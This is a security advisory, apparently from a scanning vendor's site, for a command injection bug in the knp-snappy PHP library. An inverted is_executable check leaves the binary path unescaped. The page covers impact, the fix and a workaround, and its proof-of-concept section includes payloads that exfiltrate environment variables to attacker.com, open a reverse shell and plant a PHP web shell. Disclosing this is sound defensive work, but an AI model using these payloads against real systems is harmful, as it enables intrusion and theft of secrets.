Back to advisories
CVE-2026-46643 GHSA-vpr4-p6fq-85jc Medium

Binary path is never shell-escaped due to an inverted is_executable check

CVE-2026-46643 is a Moderate severity vulnerability in knplabs/knp-snappy (<= 1.7.0) where the binary path passed to Snappy's constructor is never shell-escaped before being executed, despite code that looks like it should be doing exactly that. The root cause is a logic inversion in the is_executable() check. escapeshellarg() wraps the path in single quotes, but is_executable() then looks for a file whose name literally contains those quote characters, which never exists.

Affected: Snappy <=1.7.0 Vendor: KnpLabs Discovered: Reported: May 13, 2026 Patched: May 15, 2026 Reporter: Teodor Radoi

Details

Summary

Field Value
CVE ID CVE-2026-46643
Advisory GHSA-vpr4-p6fq-85jc
Severity Moderate
Package knplabs/knp-snappy (Composer)
Affected <= 1.7.0
Fixed in >= 1.7.1

The binary path passed to Snappy's constructor is never properly shell-escaped before being handed to the underlying shell command. This happens because of a logic inversion in the is_executable() check: the code intended to escape the path only when it is a valid executable, but due to the bug, the escaped version is only used when the path does NOT resolve to an executable, and the raw, unescaped string is used in every normal case. If an attacker can influence the binary path in any way, this leads to Remote Code Execution (RCE) as the PHP process user.


Detailed Content

How it works

Snappy builds a shell command by combining the binary path with the rest of the arguments (options, input file, output file). The arguments themselves are correctly escaped with escapeshellarg(). The binary path, however, is not.

The intended logic was:

  1. Call escapeshellarg() on the binary path to produce a safely quoted string.
  2. Use is_executable() to verify that the quoted string points to a real executable.
  3. If it does, use the escaped version in the command.

The bug is that escapeshellarg('/usr/bin/wkhtmltopdf') on POSIX systems returns '/usr/bin/wkhtmltopdf', with the single-quote characters literally included in the string. When is_executable() is then called on that quoted string, it looks for a file whose actual name contains those quote characters, which almost certainly does not exist. The check therefore always fails, and the code falls through to using the raw, unescaped binary path in the command.

In practice, the safe branch is dead code. Every invocation uses the unescaped path.

Who is affected

Exploitation requires the binary path to be attacker-influenced. This can happen when:

  • The binary path is read from configuration that users can modify
  • It is derived from environment variables that originate from request data
  • It is assembled by concatenating a base path with any user-controlled fragment

Even in applications where the binary path is fully hard-coded and not attacker-controlled, this is still a defense-in-depth regression. Downstream packages and developers may reasonably assume that Snappy escapes the binary path because the code looks like it does. Any future refactoring that introduces user input into the path would silently become exploitable.

Root Cause

The condition in the is_executable() check is inverted. The escaped path is only selected in the branch that evaluates to false (when the escaped path is not executable), while the raw unescaped value is selected in the true branch (which covers all normal, real-binary scenarios).

Fix

Version 1.7.1 corrects the condition, ensuring the binary path is always shell-escaped before being included in the command string.

Workaround (if you cannot upgrade immediately)

Validate that the binary path is executable before passing it to the constructor. This does not fix the underlying escaping issue but prevents attacker-supplied values from ever reaching the shell.


Proof of Concept

Demonstrating the bug

The advisory's own proof of concept is straightforward. Because the binary path is not escaped, shell metacharacters in the path are interpreted by the shell:

<?php
// The semicolon ends the wkhtmltopdf command and starts a new one.
// touch /tmp/snappy_rce is executed as the PHP process user.

$pdf = new Knp\Snappy\Pdf('wkhtmltopdf; touch /tmp/snappy_rce');
$pdf->generate('https://example.com', '/tmp/out.pdf');

// After this runs, /tmp/snappy_rce exists on the filesystem.

More impactful payloads in a real attack scenario:

// Exfiltrate environment variables
$pdf = new Knp\Snappy\Pdf('wkhtmltopdf; curl https://attacker.com/?data=$(env | base64 -w0)');

// Reverse shell
$pdf = new Knp\Snappy\Pdf('wkhtmltopdf; bash -i >& /dev/tcp/attacker.com/4444 0>&1');

// Write a web shell
$pdf = new Knp\Snappy\Pdf('wkhtmltopdf; echo "<?php system(\$_GET[\'c\']); ?>" > /var/www/html/shell.php');

Vulnerable code pattern

<?php
// If $binaryPath comes from any user-influenced source, this is exploitable.

$binaryPath = getenv('WKHTMLTOPDF_PATH'); // attacker controls env
$pdf = new Knp\Snappy\Pdf($binaryPath);
$pdf->generate('page.html', 'out.pdf');

Workaround: validate before instantiating

<?php
$pathToBinary = '/usr/local/bin/wkhtmltopdf';

// Ensure the path resolves to a real, executable file before use.
if (!\is_executable($pathToBinary)) {
    throw new \RuntimeException('Binary not found or not executable: ' . $pathToBinary);
}

$pdf = new Knp\Snappy\Pdf($pathToBinary);
$pdf->generate('page.html', 'out.pdf');

This workaround does not repair the escaping bug itself, but it ensures the path points to a real binary on disk before the command is built, which blocks most injection attempts that rely on injecting a non-existent path with metacharacters.

Upgrading

composer require knplabs/knp-snappy:^1.7.1

Key Takeaways

  • The binary path in Snappy has never been properly shell-escaped, despite code that looks like it should be doing exactly that.
  • Any deployment where the binary path is not a 100% static, developer-controlled constant should be treated as potentially exploitable.
  • The fix is a one-line logic correction in version 1.7.1. Upgrading is the right call.
  • Even if your specific deployment is not currently exploitable, the broken escaping is a latent risk that could become a real issue after any future code change.

Start securing your codebase today

Connect your repositories and let AI agents handle continuous scanning, research, and triage.

Have questions? Get in touch →